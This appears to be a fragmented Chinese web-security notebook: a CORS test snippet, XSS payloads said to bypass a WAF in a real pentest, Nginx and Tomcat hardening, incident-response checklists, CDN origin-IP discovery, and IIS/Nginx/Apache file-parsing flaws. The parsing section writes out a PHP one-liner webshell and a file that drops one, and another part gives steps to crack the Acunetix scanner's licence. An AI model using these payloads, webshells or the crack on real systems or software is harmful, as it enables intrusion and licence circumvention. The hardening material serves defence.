output.innerHTML = "URL: <?php echo @$_GET["url"];?><br>Data: <?php echo @$_GET["data"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
JSONP只支持GET
请求,支持老式浏览器
<script>
标签只能发送GET
请求
CORS支持所有类型的HTTP请求
JSON为数据格式
JSONP为跨域方式
AJAX就是浏览器发出的HTTP请求,存在同源策略限制
AJAX是发送HTTP请求的一种方式
AJAX请求的XMLHttpRequest对象就是浏览器开放给JS调用HTTP请求使用的
AJAX请求受到浏览器的同源策略限制,存在跨域问题
AJAX在进行CORS非简单请求时,浏览器会发出OPTIONS预检请求
AJAX会自动带上同域Cookie
AJAX与HTTP请求相比,存在浏览器的封装(预处理+特定限制)
都需要借助第三方网站
都需要借助AJAX
都需要用户登陆
第三方网站可利用CORS漏洞读取受害者的敏感信息
第三方网站可利用CSRF漏洞代替受害者执行敏感操作
https://www.bedefended.com/papers/cors-security-guide
https://blog.csdn.net/niexinming/article/details/82719092
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://en.wikipedia.org/wiki/Same-origin_policy
https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://developer.mozilla.org/zh-CN/docs/Web/Guide/AJAX
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://dailc.github.io/2017/03/22/ajaxCrossDomainSolution.html
https://dailc.github.io/2018/01/04/security_ajaxissafeornot.html
https://juejin.im/post/5b0bac706fb9a009e70e9381#heading-4
https://www.w3.org/TR/cors/#handling-a-response-to-a-cross-origin-request
https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html
https://www.trustedsec.com/2018/04/cors-findings/
https://cloud.tencent.com/developer/article/1436061
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://www.jianjunchen.com/post/
玄武盾版本未知,为实际渗透测试项目记录沉淀
payload:<svg xmlns="http:www.baidu.com"><g onload="javascript:alert(1)"></g></svg>
payload:<audio src="http://www.w3schools.com/html5/movie.ogg" onloadstart=confirm(1);>
payload:<details open ontoggle=confirm(1)>
或<details open ontoggle=prompt(1)>
payload:<SVg xmlns="http://www.baidu.com"><img src=1 ondblclick=prompt(1)></svg>
或<SVg xmlns="http://www.baidu.com"><img src=1 ondblclick=confirm(1)></svg>
payload:<svg/onload=alert
1>
ReDos可尝试绕过
http {
server_tokens off;
}
有效避免Nginx版本信息泄露
server {
listen 443;
server_name example.com;
ssl on;
ssl_certificate /etc/nginx/server.crt;
ssl_certificate_key /etc/nginx/server.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;
}
ssl on:开启https
ssl_certificate:配置nginx ssl证书的路径
ssl_certificate_key:配置nginx ssl证书key的路径
ssl_protocols:指定客户端建立连接时使用的ssl协议版本
ssl_ciphers:指定客户端连接时所使用的加密算法
location /admin/ {
allow 192.168.1.0/24;
deny all;
}
上边表示只允许192.168.1.0/24网段的主机访问,拒绝其他所有
location /admin/ {
deny 192.168.1.0/24;
allow all;
}
上边表示拒绝192.168.1.0/24网段的主机访问,允许其他所有
$http_x_forwarded_for
进行限制set $allow false;
if ($http_x_forwarded_for = "211.144.204.2") { set $allow true; }
if ($http_x_forwarded_for ~ "108.2.66.[89]") { set $allow true; }
if ($allow = false) { return 404; }
server {
location / {
auth_basic "please input user&passwd";
auth_basic_user_file key/auth.key;
}
}
if ($request_method !~ ^(GET|POST)$ ) {
return 405;
}
上述配置只允许GET
/POST
方法访问,其他的method返回405
$request_method
能够获取到请求nginx的method
if ($http_user_agent ~* LWP::Simple|BBBike|wget|curl) {
return 444;
}
攻击者可能会利用wget
/curl
等工具进行探测,可通过禁止相应的user-agent
来进行防范
Nginx的444状态比较特殊,如果返回444那么客户端将不会收到服务端返回的信息
location /images/ {
valid_referers none blocked www.example.com example.com;
if ($invalid_referer) {
return 403;
}
}
valid_referers:验证referer
,其中none
允许referer为空,blocked
允许不带协议的请求,除了以上两类外仅允许referer为www.example.com或example.com时访问images下的图片资源,否则返回403
或将不符合referer
规则的请求重定向到一个默认的图片,如下所示:
location /images/ {
valid_referers blocked www.example.com example.com
if ($invalid_referer) {
rewrite ^/images/.*\.(gif|jpg|jpeg|png)$ /static/qrcode.jpg last;
}
}
可以通过ngx_http_limit_conn_module
模块限制一个IP的并发连接数
http {
limit_conn_zone $binary_remote_addr zone=name:10m;
server {
listen 80;
server_name example.com;
root /home/project/webapp;
index index.html;
location / {
limit_conn ops 10;
}
access_log /tmp/nginx_access.log main;
}
}
limit_conn_zone:设定保存各个键(例如$binary_remote_addr)状态的共享内存空间的参数,zone=空间名字:大小
大小的计算与变量有关,例如$binary_remote_addr变量的大小对于记录IPV4地址是固定的4 bytes,而记录IPV6地址时固定的16 bytes,存储状态在32位平台中占用32或者64 bytes,在64位平台中占用64 bytes。1m的共享内存空间可以保存大约3.2万个32位的状态,1.6万个64位的状态
limit_conn:指定一块已经设定的共享内存空间(例如name为ops的空间),以及每个给定键值的最大连接数
上边的例子表示同一IP同一时间只允许10个连接
当有多个limit_conn指令被配置时,所有的连接数限制都会生效
http {
limit_conn_zone $binary_remote_addr zone=ops:10m;
limit_conn_zone $server_name zone=coffee:10m;
server {
listen 80;
server_name ops-coffee.cn;
root /home/project/webapp;
index index.html;
location / {
limit_conn ops 10;
limit_conn coffee 2000;
}
}
}
上边的配置不仅会限制单一IP来源的连接数为10,同时也会限制单一虚拟服务器的总连接数为2000
缓冲区溢出攻击是通过将数据写入缓冲区并超出缓冲区边界和重写内存片段来实现的,限制缓冲区大小可有效防御
client_body_buffer_size 1K;
client_header_buffer_size 1k;
client_max_body_size 1k;
large_client_header_buffers 2 1k;
client_body_buffer_size:默认8k或16k,表示客户端请求body占用缓冲区大小。如果连接请求超过缓存区指定的值,那么这些请求实体的整体或部分将尝试写入一个临时文件。
client_header_buffer_size:表示客户端请求头部的缓冲区大小。绝大多数情况下一个请求头不会大于1k,不过如果有来自于wap客户端的较大的cookie它可能会大于 1k,Nginx将分配给它一个更大的缓冲区,这个值可以在large_client_header_buffers里面设置
client_max_body_size:表示客户端请求的最大可接受body大小,它出现在请求头部的Content-Length字段, 如果请求大于指定的值,客户端将收到一个"Request Entity Too Large" (413)错误,通常在上传文件到服务器时会受到限制
large_client_header_buffers表示一些比较大的请求头使用的缓冲区数量和大小,默认一个缓冲区大小为操作系统中分页文件大小,通常是4k或8k,请求字段不能大于一个缓冲区大小,如果客户端发送一个比较大的头,nginx将返回"Request URI too large" (414),请求的头部最长字段不能大于一个缓冲区,否则服务器将返回"Bad request" (400)
超时时间的配置
client_body_timeout 10;
client_header_timeout 10;
keepalive_timeout 5 5;
send_timeout 10;
client_body_timeout:表示读取请求body的超时时间,如果连接超过这个时间而客户端没有任何响应,Nginx将返回"Request time out" (408)错误
client_header_timeout:表示读取客户端请求头的超时时间,如果连接超过这个时间而客户端没有任何响应,Nginx将返回"Request time out" (408)错误
keepalive_timeout:参数的第一个值表示客户端与服务器长连接的超时时间,超过这个时间,服务器将关闭连接,可选的第二个参数参数表示Response头中Keep-Alive: timeout=time的time值,这个值可以使一些浏览器知道什么时候关闭连接,以便服务器不用重复关闭,如果不指定这个参数,nginx不会在应Response头中发送Keep-Alive信息
send_timeout:表示发送给客户端应答后的超时时间,Timeout是指没有进入完整established状态,只完成了两次握手,如果超过这个时间客户端没有任何响应,nginx将关闭连接
通过以下设置可有效防止XSS
攻击
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";
X-Frame-Options:响应头表示是否允许浏览器加载
frame
等属性,配置项DENY
:禁止任何网页被嵌入、SAMEORIGIN
只允许本网站的嵌套、ALLOW-FROM
允许指定地址的嵌套
X-XSS-Protection:响应头表示启用XSS过滤(禁用过滤为X-XSS-Protection: 0),mode=block
表示若检查到XSS攻击则停止渲染页面
X-Content-Type-Options:响应头用来指定浏览器对未指定或错误指定Content-Type
资源真正类型的猜测行为,nosniff
表示不允许任何猜测
浏览器一般会根据Content-Type
来分辨响应的类型,但当响应类型未指定或错误指定时,浏览会尝试启用MIME-sniffing
来猜测资源的响应类型。例如一个图片文件被恶意嵌入了可执行的JS代码,在开启资源类型猜测的情况下,浏览器将执行嵌入的恶意JS代码
Content-Security-Policy:定义页面可以加载哪些资源
add_header Content-Security-Policy "default-src 'self'";
上边的配置会限制所有的外部资源,都只能从当前域名加载,其中default-src
定义针对所有类型资源的默认加载策略,self允许来自相同来源的内容
Strict-Transport-Security:提示浏览器用HTTPS协议代替HTTP来访问目标站点
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
上边的配置表示当用户第一次访问后,会返回一个包含了Strict-Transport-Security
响应头的字段,这个字段会告诉浏览器,在接下来的31536000秒内,当前网站的所有请求都使用https协议访问,参数includeSubDomains是可选的,表示所有子域名也将采用同样的规则
sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev
chmod 777 acunetix_trial.sh
sudo ./acunetix_trial.sh
默认端口:13443
vi /home/acunetix/.acunetix_trial/wvs.ini
sudo systemctl restart acunetix_trial.service
https://host_ip_address:port
将破解补丁复制到路径/home/acunetix/.acunetix_trial/版本/scanner/
unzip patch_awvs.zip
sudo ./patch_awvs
< xs3c.co >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
Crack by bigchan.Tested on v_190325161.
Usage: Copy me to the scanner folder and run as root.
Check environment.
Generating license.
Patch executable.
Jobs done, there you go.
chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json
userdel -r acunetix
/home/acunetix/.acunetix_trial/uninstall.sh
运行acunetix_12.0.190902105.exe
是
Next
接受协议,Next
输入邮箱、密码、验证密码,Next
填写服务端口,勾选是否允许远程访问Acunetix,Next
勾选是否创建桌面快捷方式,Next
Install
是
Finish,安装完成,关闭AWVS Web弹窗
将文件patch.exe
与patch.dat
,移动至安装目录C:\Program Files (x86)\Acunetix\12.0.190902105
运行patch.exe
,填写相关信息
启动服务
运行AWVS
http://t.cn/AimEyPIE
https://github.com/coco413/AWVS12_Docker
X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在可否在 <frame>, <iframe>, <embed>
或者 <object>
中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。服务器没有返回 X-Frame-Options 标头,这意味着该网站可能面临点击劫持攻击的风险。
X-Frame-Options 有三个值:
DENY
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN
表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM uri
表示该页面可以在指定来源的 frame 中展示。
换言之,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。
配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:
Header always append X-Frame-Options SAMEORIGIN
配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:
add_header X-Frame-Options SAMEORIGIN;
配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
漏洞描述:
Nessus检测到SSL Medium Strength Cipher Suites Supported
漏洞。中等强度为使用密钥长度至少为64位且小于112位的任何加密,若攻击者位于同一物理网络上,则中等强度加密存在风险。
漏洞修复:
IISCrypto可检查当前服务器内所使用的Cipher(加密方式)
运行
-regedit
-HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
当前Ciphers
下无任何信息
使用IISCrypto选择最佳实践“Best Practices”或根据漏洞扫描报告中指出的SSL Medium Strength Cipher
进行去除。应用完成后重启即可,或直接勾选右下角的Reboot进行自动重启
漏洞验证:
nmap -sV -p 3389 --script ssl-enum-ciphers TargetIP
该方法支持检测漏洞:
SSL/TLS RC4 信息泄露漏洞(CVE-2013-2566)
SSL/TLS 服务器瞬时 Diffie-Hellman 公共密钥过弱
SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808)
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
漏洞修复加固前:least strength: C
漏洞修复加固后:least strength: A
应按照用户分配账号,避免不同用户间共享账号导致账号混淆,权限不明确,存在用户越权使用的可能,提高安全性
安全加固
修改 tomcat/conf/tomcat-users.xml
配置文件,修改或添加帐号: <user username="tomcat" password="tomcat" roles="tomcat"/>
删除或锁定无效的账号,避免非法利用系统默认账号,减少系统安全隐患。
安全加固
查看 tomcat/conf/tomcat-users.xml
配置文件,确认是否开启/使用系统默认账号,并与管理员进行确认后,修改配置文件,删除与工作无关的帐号(运行、维护、开发)
加强密码复杂度,建议设置口令长度至少 8 位,密码中最好包括大写英文字母,小写英文字母,数字,特殊符号中的三项。测试密码强度:http://password.mx500.com/
安全加固
修改 tomcat/conf/tomcat-users.xml
配置文件,修改账号密码
打开tomcat_home/webapps
文件夹,默认存在docs
和examples
文件夹
安全加固
删除docs
和examples
文件夹
默认通过http://ip:8080/manager/html
可以访问tomcat manager
,如果不需要使用,建议删除tomcat_home/webapps/manager
和host-manager
文件夹;
默认通过http://ip:8080/admin
可以访问tomcat admin
,如果不需要使用,建议删除tomcat_home/webapps/admin
文件夹
tomcat manager
:打开tomcat_home/conf/tomcat-users.xml
,查看用户密码复杂度,例如:
<role rolename="manager"/>
<user username="tomcat" password="复杂的口令" roles="manager"/>
打开tomcat_home/conf/tomcat-users.xml
,查看用户密码复杂度,例如:
<role rolename="manager-gui"/>
<user username="tomcat" password="复杂的口令" roles="manager-gui"/>
安全加固
1.删除tomcat_home/webapps
下对应的文件夹
2.在tomcat-users.xml
中为所有用户设置复杂的密码
防止恶意用户telnet
到8005
端口后,发送SHUTDOWN
命令停止tomcat
服务
安全加固
设置复杂的字符串,防止恶意用户猜测。打开tomcat_home/conf/server.xml
,查看是否设置了复杂的字符串<Server port="8005" shutdown="复杂的字符串">
以tomcat用户运行服务,增强安全性
安全加固
查看tomcat的启动脚本或服务,确认是否以tomcat身份运行
Unix系统:
Windows系统:
防止直接访问目录时由于找不到默认主页而列出目录下所有文件
安全加固
打开应用程序的web.xml
,查看listings
是否设置为false
<param-name>listings</param-name>
<param-value>false</param-value>
tomcat
的日志信息默认存放在tomcat_home/logs
中,访问日志默认未开启
安全加固
如果tomcat前端有Apache,Apache可以记录访问日志。如果tomcat独立运行,可以开启tomcat访问日志,修改tomcat_home/conf/server.xml
,取消注释:
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log." suffix=".txt" pattern="common" resolveHosts="false"/>
启用access_log
后,重启tomcat
,在tomcat_home/logs
中可以看到访问日志
自定义Tomcat返回的错误信息
安全加固
修改应用程序的web.xml
,在最后</web-app>
一行之前加入以下内容
1.表示出现404未找到网页的错误时显示404.html页面
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
建议自定义403,404,500错误的页面
2.表示出现java.lang.NullPointerException
错误时显示error.jsp
页面
<error-page>
<exception-type>java.lang.NullPointerException</exception-type>
<location>/error.jsp</location>
</error-page>
禁用PUT
、DELETE
等危险的HTTP 方法
安全加固
在web.xml
文件中添加配置 ,将readonly
的param-value
值设为false
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
telnet ip 8080
HEAD / HTTP1.1然后两次回车,可以看到server的信息
安全加固
修改server.xml
文件,修改以下配置并在末尾添加需要修改的类型,例如IIS
,保存并重启tomcat
服务:
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" server=”IIS”/>
修改catalina.jar
中catalina.jar\org\apache\catalina\util \Serverinfo.properties
文件的以下参数,保存并重启tomcat服务:
server.build=IIS
server.number=6
更改 tomcat 服务器默认端口,增加系统安全性
安全加固
根据机器性能和业务需求,设置最大最小连接数及登陆超时限制
安全加固
编辑server.xml 文件,样例如下:
<Connector port="8080"
maxThreads="150"
minSpareThreads="25"
maxSpareThreads="75"
acceptCount="100"
connectionTimeout="20000"/>
maxThreads="150" 表示最多同时处理150 个连接
minSpareThreads="25" 表示最少的空线程等待数量
maxSpareThreads="75" 表示如果最多可以空 75个线程
acceptCount="100" 当同时连接的人数达到maxThreads时,还可以接收排队的连接,超过这个连接的则直接返回拒绝连接
Web入侵:网站挂马、网页篡改、Webshell
系统入侵:主机漏洞、蓝屏/重启、网络协议/服务 弱口令/未授权访问
僵尸网络:远控、后门、木马、勒索软件、挖矿病毒、蠕虫
信息泄漏:脱裤
网络攻击:DDoS、DoS、ARP、DNS劫持
什么时间?什么现象?做过什么处理?当前状态?受影响主机范围?该现象可能产生的原因?可能留下的痕迹?是否部署安全设备/产品?有无相关记录?网络环境架构?是否提供账号密码可登陆受影响主机?是否存在过某些漏洞/弱口令/数据库/中间件/高危端口?
lusrmgr.msc
命令,查看是否有新增的账号,如发现存在非系统及用户所创建异常账户,立即禁用或删除。net user
列出当前登录账号wmic UserAccount get
列出当前系统所有账户Win + R
,输入 regedit
,即可打开注册表编辑器;administrator
),将权限勾选为完全控制,然后确定,关闭注册表编辑器;HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
;netstat命令参数详解,常用命令:netstat -ano
、netstat -anob
、netstat -ano | find/findstr "PID/PORT/连接状态"
tasklist命令参数详解,常用命令:tasklist /SVC
、tasklist /V
、tasklist /SVC | find/findstr "PID"
wmic常用命令:wmic process
、wmic process where name=" processname" list full
检查方法
netstat -ano | findstr "ESTABLISHED"
查看当前网络连接状态,定位异常tasklist /svc | findstr "PID"
进行进程定位wmic process where name="processname" list full
ctrl+alt+delete
打开任务管理器,或点击【开始】>【运行】,输入msinfo32,软件环境,正在运行程序,查看进程详细信息查看文件时间,创建时间、修改时间、访问时间。通过对文件右键属性即可看到详细的时间或通过
dir /tc 文件名
来查看创建时间
%UserProfile%\Recent
,分析最近打开过的可疑文件C:\Documents and Settings\Administrator\Recent
C:\Documents and Settings\Default User\Recent
regedit
,打开注册表,查看开机启动项是否正常,注册表项如下:net use
、at
、schtasks.exe
,检查计算机与网络上的其它计算机之间的会话或计划任务taskschd.msc
或从计算机管理进入,直接查看计划任务注册表目录含义
名称 | 作用 |
---|---|
HKEY_CLASSES_ROOT | 存储Windows可识别的文件类型的详细列表,以及相关联的程序。 |
HKEY_CURRENT_USER | 存储当前用户设置的信息。 |
HKEY_LOCAL_MACHINE | 包括安装在计算机上的硬件和软件的信息。 |
HKEY_USERS | 包含使用计算机的用户的信息。 |
HKEY_CURRENT_CONFIG | 这个分支包含计算机当前的硬件配置信息。 |
账户:
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
启动项:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
(ProfilePath)\Start Menu\Programs\Startup
eventvwr.msc
,回车运行,打开“事件查看器”日志导出至文本格式,使用文本编辑器打开并用正则表达式
((?:(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))).){3}(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))
匹配IP地址
3. 导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析
4. 登陆类型ID含义
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti恶意软件扫描系统
http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析
WEBDIR+在线查杀木马/开放API接口: https://scanner.baidu.com/#/pages/intro
在线webshell查杀-灭绝师太版:http://tools.bugscaner.com/killwebshell/
深度学习模型检测PHP Webshell:http://webshell.cdxy.me/
D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com
深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html
Safe3:http://www.uusec.com/webshell.zip
1.系统重装;
2.修改系统账号密码,加强密码复杂度。建议密码中包含大写英文字母,小写英文字母,数字,特殊符号中的三项;
3.访问控制:设置黑/白名单,限制应用程序的权限,禁止目录浏览或文件写权限;
4.定期备份重要业务数据和文件;
5.定期进行漏洞扫描,更新操作系统及应用程序组件版本,安装补丁;
6.使用第三方安全产品,如D盾、安全狗、云锁等,并安装杀毒软件进行病毒查杀,清除残留病毒或木马。
https://xz.aliyun.com/t/1140#toc-15
https://xz.aliyun.com/t/2524#toc-5
https://cloud.tencent.com/document/product/296/9605
https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903806&idx=1&sn=e7e3cae132ce7469a29fdc170c0a8242&scene=19#wechat_redirect
https://xz.aliyun.com/t/2335?accounttraceid=66665db5-a475-4835-8b9d-8c5c604e738b
https://xz.aliyun.com/t/1140#toc-18
https://xz.aliyun.com/t/2524?accounttraceid=ecc32472-7489-4178-99c2-c2e210ee6785#toc-2
查看所有镜像
$ docker images
查看所有创建的容器
$ docker ps -a
查看正在运行的容器
$ docker ps
进入正在运行的容器
$ docker exec -it <容器的 CONTAINER ID 或者 容器 NAMES > /bin/bash
开始 停止 重启 容器
$ docker start <容器的 CONTAINER ID 或者 容器 NAMES >
$ docker stop <容器的 CONTAINER ID 或者 容器 NAMES >
$ docker restart <容器的 CONTAINER ID 或者 容器 NAMES >
查看容器 log
$ docker logs -f <容器的 CONTAINER ID 或者 容器 NAMES >
删除容器
$ docker rm <容器的 CONTAINER ID 或者 容器 NAMES >
删除镜像
$ docker rmi <镜像的 CONTAINER ID>
更新镜像
$ docker pull <镜像地址:版本>
建立镜像
docker build -t="name/tag" /file/path
-t
标记来添加 tag,指定新的镜像的用户信息,/file/path
是Dockerfile所在的路径
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://ping.aizhan.com/
http://tools.fastweb.com.cn/Index/Ping
https://tools.ipip.net
https://www.cdnplanet.com/tools/cdnfinder/
若目标站点/主站部署CDN,子域名未部署CDN。本地将主站/目标站点域名与未部署CDN子域名解析IP绑定(修改host文件:C:\Windows\System32\drivers\etc\hosts)。若能访问说明目标站点与此二级域名在同一服务器,如果两者不在同一服务器也可能在同C段,扫描C段所有开80端口的ip。
http://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
Layer子域名挖掘机/GoogleHacking
查询ip与域名绑定历史记录
相关工具:
dnsenum
bypass-firewalls-by-DNS-history
CDN提供商往往只针对国内市场,而对国外市场几乎不做CDN,所以有几率会直接解析到真实IP。
nslookup http://www.example.com(目标站点) xxx.xxx.xxx.xxx( 国外冷门DNS)
全球Ping:https://asm.ca.com/zh_cn/
通过探测https证书443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com
或443.https.tls.chain.parsed.names
https://censys.io/
https://www.shodan.io/
https://fofa.so/
https://www.zoomeye.org/
ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated-apnic-latest
利用 Zmap
http://0535code.com/article/20170217_1688.shtml
http://bobao.360.cn/learning/detail/211.html
利用 Zgrab
https://www.t00ls.net/articles-40631.html
https://levyhsu.com/?p=183
/xxx.asp/xxx.jpg
网站下建立文件夹的名称中带有asp
、asa
、cer
、cdx
等可执行脚本文件后缀的文件夹,IIS6.0会将xxx.jpg
当做xxx.asp
解析并执行
该目录内的任何扩展名的文件都将被IIS6.0当作可执行文件来解析并执行
/xx.asp;.jpg
在IIS6.0下,;
后面的文件扩展名不被解析,则xxx.asp;.jpg
将被当做xxx.asp
解析并执行
/xxx.asa
、/xxx.cer
、/xxx.cdx
IIS6.0默认的可执行文件包括:asp
、asa
、cer
、cdx
,可结合目录解析/后缀解析:/xxx.asp/xxx.jpg
、/xxx.asa/xxx.jpg
、/xxx.cer/xxx.jpg
、/xxx.cdx/xxx.jpg
、/xxx.asp;.jpg
、/xxx.asa;.jpg
、/xxx.cer;.jpg
、/xxx.cdx;.jpg
asp
、asa
、cer
、cdx
同使用一个asp.dll
执行
实际为
PHP CGI
的漏洞:Nginx作为代理将请求转发给Fast-CGI,PHP后端进行处理。当访问URL:example.com/shell.jpg/xxx.php
,$fastcgi_script_name
会被设置为“shell.jpg/xxx.php”,然后构造成SCRIPT_FILENAME
传递给Fast-CGI。当fix_pathinfo
选项开启时,PHP会认为SCRIPT_FILENAME
是shell.jpg
,而xxx.php
是PATH_INFO
,故将shell.jpg
作为PHP文件进行解析
PHP配置文件中存在cgi.fix_pathinfo=1
默认是开启,当URL中有不存在的文件时,PHP就会向前递归解析
方法一
www.example.com/UploadFiles/image/shell.jpg/xxx.php
www.example.com/UploadFiles/image/shell.jpg%00.php
www.example.com/UploadFiles/image/shell.jpg/%20\0.php
方法二
IIS 7.0/IIS 7.5/Nginx<8.03
在默认Fast-CGI
开启的情况下,上传xy.jpg
,访问xy.jpg/.php
,会在当前目录下生成一句话木马<?php eval($_POST[cmd])?>
将图片和写入后门代码的文本文件合并为将恶意文本写入图片的二进制代码
copy xx.jpg/b + yy.txt/a xy.jpg
后门代码的文本文件内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写入一句话木马
<?php eval($_POST[cmd])?>
,文件名为shell.php,密码为cmd
Ngnix版本 0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37
在处理%00
空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,通过在一个文件路径/xx.jpg
后面加上%00.php
会将/xx.jpg%00.php
解析为php文件
修复方案:
1.禁止在上传文件目录下执行php,在nginx虚拟机配置或fcgi.conf
配置加如下代码
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
2.升级到最新版本的nginx
https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547
利用过程:
上传1.gif
文件
抓包修改数据包,在文件名后添加空格,文件1.gif
成功上传
访问http://127.0.0.1:8080//uploadfiles/1.gif...php
修改第一个.
改为20
,对应ASCII码空格符,修改第二个.
改为00
,截止符,解析成功
test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php
AddHandler php5-script .php
,则文件名只要包含.php
,即使文件名为test2.php.jpg
也会以php
来执行AddType application/x-httpd-php .jpg
,即使扩展名是jpg
,也会以 php
来执行修复方案
1.apache配置文件,禁止.php.
这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.伪静态,重写.php.*
:打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
,去掉注释,重启apache,在网站根目录下建立.htaccess
文件,代码如下:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
在.htaccess
中写入:<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>
,可使shell.jpg文件解析为php文件
.htaccess文件生效条件:
1.Apache配置文件中写入AllowOverride All
2.Apache配置文件中写入LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
语言 | 可解析后缀 |
---|---|
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
asp/aspx | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
Apache配置文件中存在类似正则表达式:
.+.ph(p[345]?|t|tml)
xx.jpg/xx.php
